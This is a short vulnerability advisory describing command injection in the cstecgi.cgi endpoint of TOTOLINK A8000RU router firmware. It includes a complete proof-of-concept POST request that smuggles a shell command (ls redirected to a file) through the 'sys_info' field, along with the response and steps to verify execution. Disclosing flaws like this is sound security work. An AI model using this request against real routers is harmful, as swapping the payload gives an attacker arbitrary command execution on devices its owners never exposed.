# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview A command injection vulnerability has been discovered in the `cstecgi.cgi` of the TOTOLINK A8000RU router. An attacker can execute arbitrary operating system commands on the router by crafting a malicious request. ## Impact Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu.643_b20200521 ## Remediation No specific remediation is currently provided on the page. It is recommended to contact the vendor for an updated patch or apply temporary mitigation measures. ## Proof of Concept (PoC) The following is an example HTTP request exploiting this vulnerability: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 83 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=21772465702:2 Connection: keep-alive {"topicurl":"setMiniuhHomeInfoShow","sys_info":"ls>./setMiniuhHomeInfoShow.txt"} ``` ### Response Example ```http HTTP/1.1 200 OK Date: Fri, 27 Mar 2026 02:57:05 GMT Server: Lighttpd/1.40 Content-Length: 170 Content-Type: application/json {"success":"true","error":"null","ip_list":"192.168.6.1","wlan":"0","reserv":"reserv"} ``` ### Result Verification After submitting the above request, the router successfully created the file `setMiniuhHomeInfoShow.txt`, whose content lists the filenames in the current directory, proving that the command was executed successfully.